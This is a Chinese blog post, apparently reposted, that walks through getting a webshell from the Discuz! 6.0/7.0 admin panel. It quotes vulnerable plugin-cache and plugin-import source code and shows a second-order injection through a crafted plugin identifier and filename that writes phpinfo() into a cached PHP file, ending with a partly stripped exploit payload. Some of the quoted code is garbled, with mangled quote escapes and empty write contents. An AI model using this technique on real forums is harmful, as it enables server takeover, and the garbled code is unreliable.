Discuz!后台怎么拿到Webshell


趁着地球还没毁灭,赶紧放出来。
预祝"单恋一枝花"童鞋生日快乐。
恭喜我的浩方Dota升到2级。
希望世界和平。
我不是标题党,你们敢踩我。敢踩我。。踩我。。。我……

既然还没跪,我就从Discuz!古老的6.0版本开始,漏洞都出现在扩展插件上,利用方式有所不同,下面开始。

一 Discuz! 6.0 和 Discuz! 7.0
既然要后台拿Shell,文件写入必看。

/include/cache.func.php

function writetocache($script, $cachenames, $cachedata = '', $prefix = 'cache_') {         global $authkey;         if(is_array($cachenames) && !$cachedata) {                 foreach($cachenames as $name) {                         $cachedata .= getcachearray($name, $script);                 }         }         $dir = DISCUZ_ROOT.'./forumdata/cache/';         if(!is_dir($dir)) {                 @mkdir($dir, 0777);         }         if($fp = @fopen("$dir$prefix$script.php", 'wb')) {                 fwrite($fp, "");                 fclose($fp);         } else {                 exit('Can not write to cache files, please check directory ./forumdata/ and ./forumdata/cache/ .');         } } 

 

往上翻,找到调用函数的地方.都在updatecache函数中.

 

        if(!$cachename || $cachename == 'plugins') {                 $query = $db->query("SELECT pluginid, available, adminid, name, identifier, datatables, directory, copyright, modules FROM {$tablepre}plugins");                 while($plugin = $db->fetch_array($query)) {                         $data = array_merge($plugin, array('modules' => array()), array('vars' => array()));                         $plugin['modules'] = unserialize($plugin['modules']);                         if(is_array($plugin['modules'])) {                                 foreach($plugin['modules'] as $module) {                                         $data['modules'][$module['name']] = $module;                                 }                         }                         $queryvars = $db->query("SELECT variable, value FROM {$tablepre}pluginvars WHERE pluginid='$plugin[pluginid]'");                         while($var = $db->fetch_array($queryvars)) {                                 $data['vars'][$var['variable']] = $var['value'];                         }       //注意                         writetocache($plugin['identifier'], '', "/$_DPLUGIN['$plugin[identifier]'] = ".arrayeval($data), 'plugin_');                 }         } 

 

如果我们可以控制$plugin['identifier']就有机会,它是plugins表里读出来的.
去后台看看,你可以发现identifier对应的是唯一标示符.联想下二次注射,单引号从数据库读出后写入文件时不会被转义.贱笑一下.
但是……你懂的,当你去野区单抓对面DPS时,发现对面蹲了4个敌人的心情.

/admin/plugins.inc.php

 

                if(($newname = trim($newname)) || ($newidentifier = trim($newidentifier))) {                         if(!$newname) {                                 cpmsg('plugins_edit_name_invalid');                         }                         $query = $db->query("SELECT pluginid FROM {$tablepre}plugins WHERE identifier='$newidentifier' LIMIT 1");       //下面这个让人蛋疼欲裂,ispluginkey判定newidentifier是否有特殊字符                         if($db->num_rows($query) || !$newidentifier || !ispluginkey($newidentifier)) {                                 cpmsg('plugins_edit_identifier_invalid');                         }                         $db->query("INSERT INTO {$tablepre}plugins (name, identifier, available) VALUES ('".dhtmlspecialchars(trim($newname))."', '$newidentifier', '0')");                 }     //写入缓存文件                 updatecache('plugins');                 updatecache('settings');                 cpmsg('plugins_edit_succeed', 'admincp.php?action=pluginsconfig'); 

 

还好Discuz!提供了导入的功能,好比你有隐身,对面没粉.你有疾风步,对面没控.好歹给咱留条活路.

 

elseif(submitcheck('importsubmit')) {                 $plugindata = preg_replace("/(#.*/s+)*/", '', $plugindata);                 $pluginarray = daddslashes(unserialize(base64_decode($plugindata)), 1);     //解码后没有判定                 if(!is_array($pluginarray) || !is_array($pluginarray['plugin'])) {                         cpmsg('plugins_import_data_invalid');                 } elseif(empty($ignoreversion) && strip_tags($pluginarray['version']) != strip_tags($version)) {                         cpmsg('plugins_import_version_invalid');                 }                 $query = $db->query("SELECT pluginid FROM {$tablepre}plugins WHERE identifier='{$pluginarray[plugin][identifier]}' LIMIT 1");     //判断是否重复,直接入库                 if($db->num_rows($query)) {                         cpmsg('plugins_import_identifier_duplicated');                 }                 $sql1 = $sql2 = $comma = '';                 foreach($pluginarray['plugin'] as $key => $val) {                         if($key == 'directory') {                                 //compatible for old versions                                 $val .= (!empty($val) && substr($val, -1) != '/') ? '/' : '';                         }                         $sql1 .= $comma.$key;                         $sql2 .= $comma.'/''.$val.'/'';                         $comma = ',';                 }                 $db->query("INSERT INTO {$tablepre}plugins ($sql1) VALUES ($sql2)");                 $pluginid = $db->insert_id();                 foreach(array('hooks', 'vars') as $pluginconfig) {                         if(is_array($pluginarray[$pluginconfig])) {                                 foreach($pluginarray[$pluginconfig] as $config) {                                         $sql1 = 'pluginid';                                         $sql2 = '/''.$pluginid.'/'';                                         foreach($config as $key => $val) {                                                 $sql1 .= ','.$key;                                                 $sql2 .= ',/''.$val.'/'';                                         }                                         $db->query("INSERT INTO {$tablepre}plugin$pluginconfig ($sql1) VALUES ($sql2)");                                 }                         }                 }                 updatecache('plugins');                 updatecache('settings');                 cpmsg('plugins_import_succeed', 'admincp.php?action=pluginsconfig');         } 

随便新建一个插件,identifier为shell,生成文件路径及内容.然后导出备用.
/forumdata/cache/plugin_shell.php

'11',   'available' => '0',   'adminid' => '0',   'name' => 'Getshell',   'identifier' => 'shell',   'datatables' => '',   'directory' => '',   'copyright' => '',   'modules' =>   array (   ),   'vars' =>   array (   ), )?> 

 

我们可以输入任意数据,唯一要注意的是文件名的合法性.感谢微软,下面的文件名是合法的.

/forumdata/cache/plugin_a']=phpinfo();$a['a.php

 

'11',   'available' => '0',   'adminid' => '0',   'name' => 'Getshell',   'identifier' => 'shell',   'datatables' => '',   'directory' => '',   'copyright' => '',   'modules' =>   array (   ),   'vars' =>   array (   ), )?> 

 

最后是编码一次,给成Exp:

 

 

 

 最终exp:



        
        
        
        
        
                
                        
                        
                        
                        
                        
                        
                        
                        
                        
                        
                
                
                
                        
                                1);phpinfo();?>]]>
                        
                
        


 

你可能感兴趣的:(Web,代码注入,plugins,datatables,sql,query,shell,import)